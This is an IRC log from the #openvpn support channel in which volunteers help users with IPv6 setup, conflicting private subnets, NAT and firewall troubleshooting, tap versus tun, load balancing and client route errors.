18:59 -!- ccha [~ccha@88-190-233-22.rev.poneytelecom.eu] has quit [Changing host]
18:59 -!- ccha [~ccha@unaffiliated/ccha] has joined #openvpn
19:00 -!- Netsplit over, joins: klaxa
19:00 -!- Netsplit over, joins: GabrieleV
19:01 -!- dowaat [uid3966@gateway/web/irccloud.com/x-lxgmofzycyicudpw] has quit [Ping timeout: 245 seconds]
19:04 -!- dowaat [uid3966@gateway/web/irccloud.com/x-avbsdczapcvqfftl] has joined #openvpn
19:22 -!- debbie10t [~ma1com10t@host-92-20-71-56.as13285.net] has left #openvpn []
19:31 -!- schnitzl [~schnitzl@dslb-094-217-207-034.pools.arcor-ip.net] has quit [Ping timeout: 260 seconds]
19:31 -!- schnitzl [~schnitzl@dslb-188-105-235-050.pools.arcor-ip.net] has joined #openvpn
19:40 -!- forbajato [~quassel@h96-60-252-8.cncrtn.dsl.dynamic.tds.net] has joined #openvpn
19:52 -!- Carbon_Monoxide [~cmonxide@14.0.143.100] has joined #openvpn
19:52 -!- Carbon_Monoxide [~cmonxide@14.0.143.100] has left #openvpn []
19:56 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
19:57 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
20:08 -!- forbajato [~quassel@h96-60-252-8.cncrtn.dsl.dynamic.tds.net] has quit [Remote host closed the connection]
20:28 <@Ziber> Multi-lan VPN completely setup. Duration: 3 days.
20:34 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 245 seconds]
20:34 <@krzee> good job
20:34 <@Ziber> thank you.
20:35 <@Ziber> And now... for the homework I've put off all night. D:
20:35 <@Ziber> There's something that makes me so happy about entering the LAN IP of my home router into my address bar.
20:36 <@Ziber> Well, and it working.
20:41 -!- SpaceMehren [~SpaceMehr@pool-98-110-252-119.bstnma.fios.verizon.net] has joined #openvpn
20:44 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
20:46 < SpaceMehren> Hi there, I'm experiencing significant latency and slow download speeds between my openvpn server and client. Sometimes its fine, gives me a ~30ms ping and 2.0MiB/s download, but most of the time I get pings over 100ms and very slow (anywhere from 80KiB/s to 450KiB/s) speeds. When this happens if I download a file at those very slow speeds pings shoot up to 800ms.
20:56 < SpaceMehren> In my log files I get lots of lines of: packet dropped due to output saturation (multi_process_incoming_tun)
20:57 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
21:01 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
21:04 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has joined #openvpn
21:12 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
21:13 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
21:24 <@Ziber> Of course, I've got it all setup perfectly and I'm willing to break it again just to put it in tap mode to try for v6.
21:26 <@krzee> you dont need tap for v6
21:26 <@krzee> 2.3 does ipv6 in tun mode
21:26  * Ziber ... blinks
21:27 <@krzee> and copy shit first so you have a working vpn saved
21:27 <@Ziber> You're saying I can just do... ifconfig-push <ipv6> <ipv6>?
21:27 <@krzee> !ipv6
21:27 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
21:27 <@Ziber> I'm on 2.2 D:
21:28 <@krzee>  <krzee> 2.3 does ipv6 in tun mode
21:28 <@Ziber> Right.
21:28 <@Ziber> !snapshots
21:28 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch
21:28 <@krzee> snapshots are newer code, 2.3.2 is latest stable
21:29 <@Ziber> on 2.3, I can do iroute and crap with v6 addresses?
21:29 <@krzee> snapshots are likely stable too, but not the "stable release"
21:29 <@krzee> i refuse to answer that question since its answered by clicking the link in !ipv6 #1
21:30 <@krzee> and also in:
21:30 <@krzee> !man
21:30 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
21:30 <@krzee> --iroute-ipv6
21:30 <@Ziber> Alright. Well that'll be a project for later in the week. Back to homework.
21:44 <@krzee> !ipv6
21:44 <@vpnHelper> "ipv6" is (#1) http://www.greenie.net/ipv6/openvpn.html for info about the ipv6 patch (adds nice ipv6 options to openvpn) or (#2) use 2.3 or see !snapshots for a release with ipv6 patches in it or (#3) http://ipstats.arvig.net/BraveHeartMEME.jpg
21:44 <@krzee> !forget ipv6 *
21:44 <@vpnHelper> Joo got it.
21:45 <@krzee> !learn ipv6 as https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbAQ for info about the ipv6 features present in 2.3+
21:45 <@vpnHelper> Joo got it.
21:45 <@krzee> !learn ipv6 as tap can also pass ipv6 packets without openvpn knowing about it
21:45 <@vpnHelper> Joo got it.
21:45 <@krzee> !learn ipv6 as http://ipstats.arvig.net/BraveHeartMEME.jpg
21:45 <@vpnHelper> Joo got it.
21:46 <@krzee> !forget ipv6 3
21:46 <@vpnHelper> Joo got it.
21:55 -!- thefinn93 [~finn@gateway/tor-sasl/thefinn93] has quit [Ping timeout: 240 seconds]
22:00 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 240 seconds]
22:03 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
22:06 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has quit [Ping timeout: 245 seconds]
22:09 -!- jareth_ [~jareth_@2001:980:e1c0:1:219:66ff:fea0:a502] has joined #openvpn
22:17 -!- JuddyJacob_ [~JuddyJaco@unaffiliated/juddyjacob] has joined #openvpn
22:20 -!- JuddyJacob_ is now known as JuddyJacob
22:25 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-ffermuydghofjsqf] has quit [Read error: Connection reset by peer]
22:26 -!- HectorBarbossa [uid7850@gateway/web/irccloud.com/x-rgqjvhfyqycyonsh] has joined #openvpn
22:30 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
22:36 -!- LeLion [~LeLion@c-98-254-215-119.hsd1.fl.comcast.net] has joined #openvpn
22:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has quit [Read error: Connection reset by peer]
22:37 -!- adnap [~adnap@cpe-70-112-164-154.austin.res.rr.com] has joined #openvpn
22:39 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 246 seconds]
22:39 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
22:43 -!- havoc_ [~havoc@neptune.chaillet.net] has joined #openvpn
22:44 -!- havoc [~havoc@neptune.chaillet.net] has quit [Ping timeout: 246 seconds]
22:45 -!- gourneau [~Adium@204.14.152.126] has joined #openvpn
22:46 -!- acu [~acu07@24-159-215-150.static.roch.mn.charter.com] has quit [Quit: Leaving]
22:53 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has quit [Ping timeout: 240 seconds]
22:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection]
23:02 -!- tempus_fol [~tempus@gateway/tor-sasl/tempusfol] has joined #openvpn
23:22 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 268 seconds]
23:22 -!- JuddyJacob [~JuddyJaco@unaffiliated/juddyjacob] has quit [Quit: Leaving]
23:24 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
23:32 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Ping timeout: 246 seconds]
23:35 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has joined #openvpn
--- Day changed Tue Nov 05 2013
00:03 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has quit [Quit: Leaving]
00:04 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has joined #openvpn
00:08 -!- thief [~realtime@unaffiliated/realtime] has joined #openvpn
00:08 -!- akurilin2 [~akurilin@208.185.21.146] has quit [Quit: Leaving]
00:10 -!- SpaceMehren [~SpaceMehr@pool-98-110-252-119.bstnma.fios.verizon.net] has quit [Remote host closed the connection]
00:49 -!- gourneau [~Adium@204.14.152.126] has quit [Quit: Leaving.]
00:56 -!- kossy [~a@kossy.org] has joined #openvpn
00:58 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
01:08 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 264 seconds]
01:17 -!- mattock_afk is now known as mattock
01:20 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
01:25 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
01:31 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has joined #openvpn
02:49 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
02:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
02:52 -!- i7c [~i7c@unaffiliated/i7c] has quit [Quit: oh no, why]
02:53 -!- i7c [~i7c@unaffiliated/i7c] has joined #openvpn
03:04 -!- |1li [~|1li@108-201-65-149.lightspeed.ftwotx.sbcglobal.net] has joined #openvpn
03:08 -!- tharkun [~0@unaffiliated/tharkun] has quit [Ping timeout: 245 seconds]
03:10 -!- domino14 [~domino14@c-71-198-42-192.hsd1.ca.comcast.net] has joined #openvpn
03:11 < domino14> my home router assigns an IP in the 10.0.0.X range, and my remote network is also in that range, so i can't seem to access the remote network machines
03:11 < domino14> i just realized this after smacking my head many times
03:11 < domino14> is there anyway around this that doesn't involve changing either network?
03:12 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has joined #openvpn
03:12 < Aketzu> are any devices using exactly same ip addresses?
03:13 -!- smue [smue@nostromo.smue.info] has quit [Remote host closed the connection]
03:13 <+pekster> domino14: Not really, becuase local routes will be selected first. Renumber your network, or do really dumb stuff like bi-directional NAT (that's an awful design choice, fwiw)
03:13 -!- smue [smue@nostromo.smue.info] has joined #openvpn
03:13 < domino14> maybe some devices are using the same ip addresses, like the remote vpn server actually has the same address that i was just given by my router
03:13 < domino14> 10.0.0.8
03:14 < domino14> actually, that's not true
03:14 <+pekster> Right, don't use common networks when you're trying to expose them to arbitrary clients on networks you don't control
03:14 < domino14> they're different. but in any case i can't access any machine
03:14 <+pekster> Right, local routes
03:14 < domino14> shouldn't it be able to access non-conflicted routes though?
03:14 <+pekster> No. That's not how routing tables work
03:15 -!- tharkun [~0@187.188.94.182] has joined #openvpn
03:15 <+pekster> Non-conflicting _routes_, yes. You have two 10.0.0/24 (I think, though you didn't use CIDR so it's a bit of a mystery)
03:15 <+pekster> Just re-number your network to something less likely to collide: problem solved
03:15 < domino14> the remote network i push routed 10.0.0.0 255.255.0.0 (so 10.0.X.X)
03:16 <+pekster> Good grief, don't use /16's on LANs
03:16 < domino14> i can't control this router though
03:16 < domino14> that's kind of insane, so if i'm at an airport or something and need vpn access it won't work if the internal networking scheme is similar?
03:17 -!- HyperGlide [~HyperGlid@li634-159.members.linode.com] has quit [Quit: Leaving...]
03:17 <+pekster> Choose a less conflicting route. Use a shell with $RANDOM support (eg: bash, dash, or zsh) and do `echo "10.$((RANDOM%256)).$((RANDOM%256))/24"` to get a better network
03:18 < domino14> i don't understand
03:18 <+pekster> Then you'd best learn basic networking concepts before trying to use something as advanced as a VPN
03:19 < domino14> my remote machines are all at 10.0.0.X, as is my local router
03:19 <+pekster> That's the problem: fix it
03:19 < domino14> i cannot control either of those
03:19 <+pekster> Then you're hosed. Maybe you can run your client VPN in a NAT that gets served a different (non-conflicting) network
03:19 < domino14> i can't push route another ip address?
03:19 <+pekster> Try a VM solution like Virtualbox and put your VPN client in a random network as I suggested above
03:19 < domino14> okay
03:19 < domino14> oh
03:20 < domino14> right
03:20 < domino14> hmm
03:20 < domino14> thanks
03:20 <+pekster> I suppose there is --client-nat you can play with, but I highly discourage it
03:20 <+pekster> It attempts to do the super-ugly NAT translation stuff for you for such situations
03:20 <+pekster> Also, slap whoever thought it was smart to use a /16; they're idiots.
03:21 <+pekster> (unless they're supernetting that. If a /16 is on 1 LAN, that's dumb)
03:23 -!- domino14 [~domino14@c-71-198-42-192.hsd1.ca.comcast.net] has quit [Remote host closed the connection]
03:24 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:25 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
03:29 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Ping timeout: 252 seconds]
03:42 -!- JackWinter [~jack@vodsl-9510.vo.lu] has quit [Excess Flood]
03:42 -!- JackWinter [~jack@vodsl-9510.vo.lu] has joined #openvpn
03:42 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
03:50 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
03:57 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
04:00 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit [Quit: ZNC - http://znc.in]
04:01 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 246 seconds]
04:02 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
04:05 -!- Carbon_Monoxide [~cmonxide@14.0.143.100] has joined #openvpn
04:05 -!- Carbon_Monoxide [~cmonxide@14.0.143.100] has left #openvpn []
04:10 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
04:16 -!- mete- [~mete@84.200.73.159] has quit [Remote host closed the connection]
04:16 -!- mete [~mete@84.200.73.159] has joined #openvpn
04:35 -!- Denial [Denial@90.216.209.93] has joined #openvpn
04:40 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
05:08 -!- klein [~klein@unaffiliated/klein] has quit [Ping timeout: 240 seconds]
05:47 -!- ompaul [~ompaul@unaffiliated/ompaul] has joined #openvpn
05:56 -!- defswork [~andy@141.0.50.105] has quit [Quit: Ex-Chat]
06:05 -!- aegis [~aegis@184.75.212.34] has quit [Ping timeout: 272 seconds]
06:06 -!- klein [~klein@unaffiliated/klein] has joined #openvpn
06:13 < LeLion> Hello everyone! I am facing a problem which has been kicking my butt. Hopefully someone here will have the solution. I turned off the firewall on both routers. Clients behind the LAN of the VPN server can ping clients behind the LAN of the VPN client. However, clients behind the LAN of the VPN client cannot ping in the other direction. Yet, those same clients are able to ping both the VPN
06:13 < LeLion> address and the LAN address of the VPN server. Any help would be appreciated. Thanks.
06:15 <+pekster> LeLion: Sounds like a firewall issue since return traffic works. It could be a NAT issue if you're doing one-way NAT (thus "hiding" one network entirely from the view of the other)
06:17 < LeLion> I beieve I have turned off the firewall but I may be wrong. I am using dd-wrt and in the firewall section I selected to disable the SPI firewall on both routers. May be there is something else I needed to do...
06:19 < LeLion> ppekter: It could be a NAT issue but how is it possible for me to ping the LAN IP of the server?
06:19 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Ping timeout: 240 seconds]
06:20 <+pekster> "firewall section" ? On Linux, this is how you dump netfilter state:
06:20 <+pekster> !netfilter
06:20 <@vpnHelper> "netfilter" is Under Linux, use `iptables-save` to show firewall rulesets (add -c to include counters.) Do not use iptables -L as it is incomplete & often lies. #netfilter is more on-topic for detailed help.
06:21 <+pekster> As for the NAT, one-way nat lets you ping out but not back in. An example most people understand is "home routers" that let you ping google, but google can't "ping you"
06:22 < LeLion> I understand one way NAT. I was thinking if that were the issue I would not be able to ping anything in that subnet
06:23 < LeLion> yet I ping the LAN IP of the server which of course is in the same subnet as its clients
06:23 <+pekster> Obviously not, otherwise no one on RFC1918 IP space could get anywhere
06:23 <+pekster> Oh, gotcha
06:23 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has joined #openvpn
06:23 -!- defswork [~andy@141.0.50.105] has joined #openvpn
06:23 <+pekster> Yea, if you can hit the LAN IP then "probably not", but it depends completely on how the NAT is configured
06:23 <+pekster> Without seeing rules it's impossible to say, and if they're anything like most embedded devices/distros, they are often so full of fail that I won't try and debug them
06:24 -!- matkor [~matkor@host93179197152.static.3s.pl] has joined #openvpn
06:24 < LeLion> lol...thanks for the help at least I have a new direction to look into now.
06:25 <+pekster> Personally, my advice on embedded routers is 1) don't use dd-wrt; it's a lousy distro with a history of bad development practices and security issues. Popular as the common cold though. 2) learn to write/manage your own firewall rules since the default setups on these things tend to abstract away all of what it's really doing
06:26 < cjross> pekster, What about tomato?
06:27 < LeLion> What do you think of the Mikrotik routers running routerOS? They seem to be pretty cheap if they can do the job...
06:29 <+pekster> I haven't had the opportunity to play with routerOS, though I've heard good reports from those who have. From a development standpoint, openwrt has a lot of benefits in terms of both openness and ease-of-use from a source building standpoint
06:29 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has quit [Ping timeout: 252 seconds]
06:30 <+pekster> cjross: It's got far less customization support than openwrt, though they "suck slightly less" than dd-wrt. It's got issues with source building thanks to all the binaries they include too, which complicates things a lot
06:31 < cjross> pekster, Understood.  I was just curious.  Personally I run pfSense.
06:31 < matkor> Hi ! (not native english speaker there).  What is best way to automaticly add IP# to tap0 device when OpenVPN starts? (on both server and clients). TIA, regards ...
06:31 <+pekster> openwrt is really what you want when comparing the 3, at least if you want an actually open/transparent build platform. It's a bit less popular specifically becuase it doesn't run on "partly or fully closed" chipsets
06:31 -!- qwertyoruiop [~hax@1.shulgin.dc1.nl.tor.exit.node.qwertyoruiop.com] has joined #openvpn
06:32 < LeLion> I'm looking into getting a cloud core router and a couple of routerBoard 750 and just call it a day...
06:32 < LeLion> I have not looked into open-wrt yet
06:32 <+pekster> matkor: You shouldn't use tap unless using tun is a problem for you. This said, openvpn normally manages the IP assignment in either case with a pool range
06:33 <+pekster> matkor: Have you seen the official openvpn howto documents? The default example setup has many comments and will give you a working tun setup with an IP pool for your clients. Type !howto for links
06:34 <+pekster> LeLion: YMMV, but I've been impressed with openwrt's build system. Again, routerOS might be viable too, I just don't have info either way for you besides 3rd-hand reports
06:35 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:36 < matkor> pekster: I think I selected tap device as I had to simulate private ethernet segment over two public IP# only servers stored in same serverroom.  I think I got through openvpn docs yestarday, but It was late ... I wil check links you suggest.
06:36 < matkor> !howto
06:36 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
06:38 <+pekster> matkor: Normally you want tun where you allocate a separate network (different from your other ones) to the VPN network. If you want to "join" to another existing phsyical network, you need tap and a bridge configured in your server OS. OpenVPN can assign IPs with a pool by using either --server (in tun) or --server-bridge (for tap.) You can also manage an IP pool manually with --ifconfig-pool
06:38 <+pekster> If you'd like to do static addressing, read about the --ifconfig option
06:39 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Excess Flood]
06:39 < LeLion> Thanks. I think I'll just take the plunge since they are pretty cheap ($36 for a router) and they support MPLS
06:39 < LeLion> Have a great day guys. Thanks again.
06:41 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
06:47 -!- Mike-- [mad@probie.xs4all.nl] has quit [Ping timeout: 246 seconds]
06:47 -!- Mike-- [mad@probie.xs4all.nl] has joined #openvpn
06:48 -!- Cy-Gor [~Brian@cpe-70-124-70-140.austin.res.rr.com] has joined #openvpn
06:54 < matkor> pekster: Saying truth I do not see way specify  several exact IP# during start of server and client :/  Seems like "--up cmd" is only way to go. With cmd containing few:  ip addr add 10.20.1.5/24  dev tap0  ...
06:55 <+pekster> matkor: Oh, you need more than 1 IP? Yes, then you will need to use a script, probably --route-up after the device is configured
06:56 <+pekster> Optionally have your OS manage the bridge, apply the IPs there, and treat the tap as a dumb bridge member
07:02 < matkor> pekster: Hm, I am currenty using only tap device, but your idea with using bridge looks promising. Thanks for --route-up hint. I will read more now, big thanks for you time!
07:24 -!- Kanalia [~Kanalia@89-67-131-55.dynamic.chello.pl] has joined #openvpn
07:25 < Kanalia> !welcome
07:25 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
07:25 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
07:29 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has joined #openvpn
07:32 -!- speed_racer84 [~speed_rac@ip-173-45-222-229.wavevision.com] has quit [Ping timeout: 245 seconds]
07:43 -!- elfixit [~Icedove@77-58-251-72.dclient.hispeed.ch] has quit [Quit: elfixit]
07:47 -!- C_Kode [~nunya@38.108.104.210] has joined #openvpn
07:49 < C_Kode> I setup an openvpn yesterday to a machine that is running KVM (virtualization)  I had a VM running on a private subnet and the VPN user could access this private subnet.
07:49 < C_Kode> I had to reboot the server this morning, but once I reconnected, the vpn user can no longer access the VM running on the private subnet
07:50 < C_Kode> Under user permissions, "Allow access to these Networks" has the subnet listed and is selected as Use Routing"
07:52 -!- speed_racer84 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has joined #openvpn
07:55 -!- HyperGlide [~HyperGlid@182.151.165.160] has joined #openvpn
07:58 <+pekster> C_Kode: OpenVPN doesn't have "user permissions"
07:59 <+pekster> Maybe you're using "Access Server", which is a non-GPL, commecially sold product. You should obtain support from the vendor that sold you this product if that's the case:
07:59 <+pekster> !as
07:59 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has quit [Ping timeout: 246 seconds]
07:59 -!- fred`` [fred@earthli.ng] has quit [Ping timeout: 246 seconds]
07:59 <@vpnHelper> "as" is please go to #OpenVPN-AS for help with Access-Server
07:59 < C_Kode> As thanks.
07:59 < C_Kode> er ah too
08:00 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has quit [Ping timeout: 246 seconds]
08:04 -!- goldkatze [~nobody@188-194-186-243-dynip.superkabel.de] has joined #openvpn
08:04 -!- goldkatze [~nobody@188-194-186-243-dynip.superkabel.de] has quit [Changing host]
08:04 -!- goldkatze [~nobody@unaffiliated/goldkatze] has joined #openvpn
08:05 -!- SlutaTramsa [~SlutaTram@unaffiliated/slutatramsa] has joined #openvpn
08:05 -!- Olipro [~Olipro@uncyclopedia/pdpc.21for7.olipro] has joined #openvpn
08:11 -!- fred`` [fred@earthli.ng] has joined #openvpn
08:42 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has joined #openvpn
08:43 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 260 seconds]
08:43 -!- elfixit [~Icedove@2001:1620:2777:11:3e97:eff:fe7f:f3ad] has joined #openvpn
08:51 -!- maskedlua [~quassel@unaffiliated/themaskedlua] has joined #openvpn
08:51 -!- maskedlua_ [~quassel@unaffiliated/themaskedlua] has quit [Ping timeout: 268 seconds]
09:02 < Kanalia> hi guys
09:03 < Kanalia> this may not be related too closely to OpenVPN per se but
09:04 < Kanalia> is it possible to setup such a VPN network... more like a network of servers/gateways
09:04 < Kanalia> that you can offer a kind of load balancing with it?
09:06 <+pekster> Kanalia: In OpenVPN, a client is connected to a single server for the duration of the connection. You're of course free to load-balance on the frotend of a "collection" of backend servers in the usual ways, such as DNS-based balancing, port-forwardings, or dynamic solutions based on advanced principles like anycast or avability of services (maybe based on CPU load, bandwidth, connected users, global proximity, etc)
09:07 <+pekster> OpenVPN cannot "float" a client from one server to another though; that would involve a reconnection
09:07 <@Ziber> OpenVPN is just dealing with network connections. You're free to do any load-balancing.
09:07 < Kanalia> yes
09:07 < Kanalia> ok I get it
09:07 < Kanalia> I'm not interested in reconnections
09:07 < Kanalia> more like having the option to choose a specific backend
09:07 -!- Guest96267 [~Mark@94-193-78-219.zone7.bethere.co.uk] has quit [Ping timeout: 260 seconds]
09:08 <+pekster> Sure, and clients will accept any server so long as it is using a valid cert that has a trust path to the CA the client is checking against
09:08 < Kanalia> I already have the infrastructure for deciding which server has currently the least load, which I can channel back to the client application (the one that will do the VPN connecting)
09:08 < Kanalia> ok
09:09 <+pekster> Normally what you do in such a setup is issue separate keypairs/certs to your backend servers, though some opt to re-use 1 (which is less secure as a compromize of 1 means they're all bad)
09:09 < Kanalia> yes that's obvious
09:09 <+pekster> Otherwise, client's don't have a care in the world what they connect to from a technical point
09:09 < Kanalia> would it be also doable with not only OpenVPN but also IPSec, PPTP, L2TP?
09:10 < Kanalia> my problem now seems to be the fact that my client app would be on the iOS platform, which is pretty restrictive
09:10 < Kanalia> I already learned that the only valid OpenVPN client is the OpenVPN Connect app, because of the hidden/private VPN APIs that OpenVPN Tech had to sign an NDA with Apple for
09:11 < Kanalia> so my question was more like general to all VPN protocols, not just in relation to OpenVPN (sorry for this being off-topic in this way)
09:13 < Kanalia> but thanks for the answer pekster
09:17 <+pekster> Most of the soltuions I noted apply in principle to any network protocol
09:29 <@krzee> it is also possible to simply add a bunch of remote entries and set each to its limit
09:29 <@krzee> then when a server hits its limit the client will simply try another
09:29 <@krzee> randomize them, poor mans load balancer
09:29 <@krzee> also round robin = another poor mans load balancer, and in openvpn they may be used in conjuntion
09:30 < Kanalia> yes
09:30 < Kanalia> ok guys, I'll think things over, thanks for the input, have to go, bye
09:30 -!- takamichi [~takamichi@c13-65.i07-4.onvol.net] has quit [Ping timeout: 252 seconds]
09:31 -!- Kanalia [~Kanalia@89-67-131-55.dynamic.chello.pl] has quit []
09:34 -!- takamichi [~takamichi@85.12.8.13] has joined #openvpn
09:36 -!- KaiForce [~chatzilla@107-223-70-10.lightspeed.bcvloh.sbcglobal.net] has joined #openvpn
09:38 -!- mmikeym [~mikeym@184.70.65.118] has joined #openvpn
09:41 -!- mikkel [~mikkel@80-199-146-42-static.dk.customer.tdc.net] has quit [Quit: Leaving]
09:47 -!- midcom_ [~midcom@rrcs-184-74-199-219.nyc.biz.rr.com] has joined #openvpn
09:51 -!- speed_racer84 [~speed_rac@h140.74.89.75.dynamic.ip.windstream.net] has quit [Ping timeout: 268 seconds]
09:53 < midcom_> having a bit of trouble starting my vpn client in ubuntu. seems that I can connect to the server, but no tun interface is created. I get the following errors: OpenVPN ROUTE: OpenVPN needs a gateway parameter for a --route option and no default was specified by either --route-gateway or --ifconfig options  /// ovpn-client2[10004]: OpenVPN ROUTE: failed to parse/resolve route for host/network: 192.168.2.1
09:53 -!- speed_racer84 [~speed_rac@50-79-143-149-static.hfc.comcastbusiness.net] has joined #openvpn
09:53 <@Ziber> You didn't supply a gateway.
09:54 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Remote host closed the connection]
09:54 -!- JSharpe [~JSharpe@46.23.66.28] has joined #openvpn
09:54 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has joined #openvpn
09:55 < midcom_> Ziber, is that spec'd in the client.conf?  I'm using a netgear router that automatically generated the .crt/.conf/.key files so I'm not sure where to start
09:55 <@Ziber> It's suppose to be in the client.conf, yes.
09:55 <@Ziber> *supposed.
09:57 <+pekster> Well, normally you'd push that info from the server if it's not implicitly supplied
09:57 <+pekster> (assuming your clients are pulling)
09:58 <@Ziber> On my laptop (my VPN endpoint), I specified the gateway in the interface.
09:59 -!- kubbing [~kubbing@ip-94-113-128-81.net.upcbroadband.cz] has quit [Ping timeout: 260 seconds]
10:00 -!- matkor [~matkor@host93179197152.static.3s.pl] has quit [Quit: Z prawd studentek medycyny: "bez kiły nie ma zaliczenia"]
10:01 < midcom_> not sure how the server is configured, since it has some web GUI that does the work. seems that the config files are mostly correct, but I can't find the syntax to add a gateway in the conf file. It's shown as an option in launching openvpn, but not in the example config file
10:03 < midcom_> hm, interesting. it seems a tap0 device is created, but goes unused when I try to ping the vpn gateway
10:05 <@krzee> why are you using tap?
10:06 <@Ziber> morning krzee
10:07 < midcom_> krzee, client.conf was generated automatically by my router
10:07 <@krzee> generate them yourself
10:07 <@krzee> !pfsense
10:07 <@vpnHelper> "pfsense" is dont use the web gui for configuring openvpn, you need to understand the config and logfiles
10:08 <@krzee> if you really need something to generate them, try this:
10:08 <@krzee> !confgen
10:08 <@vpnHelper> "confgen" is (#1) http://www.doeshosting.com/code/openvpn-confgen.tgz for the bash config generator or (#2) you can use svn co http://www.secure-computing.net/svn/trunk/openvpn-confgen/ or (#3) you must run this in bash
10:08 <@krzee> then just edit filenames and whatever
10:08 -!- Moonlightning [~blackl@unaffiliated/moonlightning] has quit [Quit: The Nightmares will collide. And become a Dream. <3]
10:12 -!- takamichi [~takamichi@85.12.8.13] has quit [Ping timeout: 245 seconds]
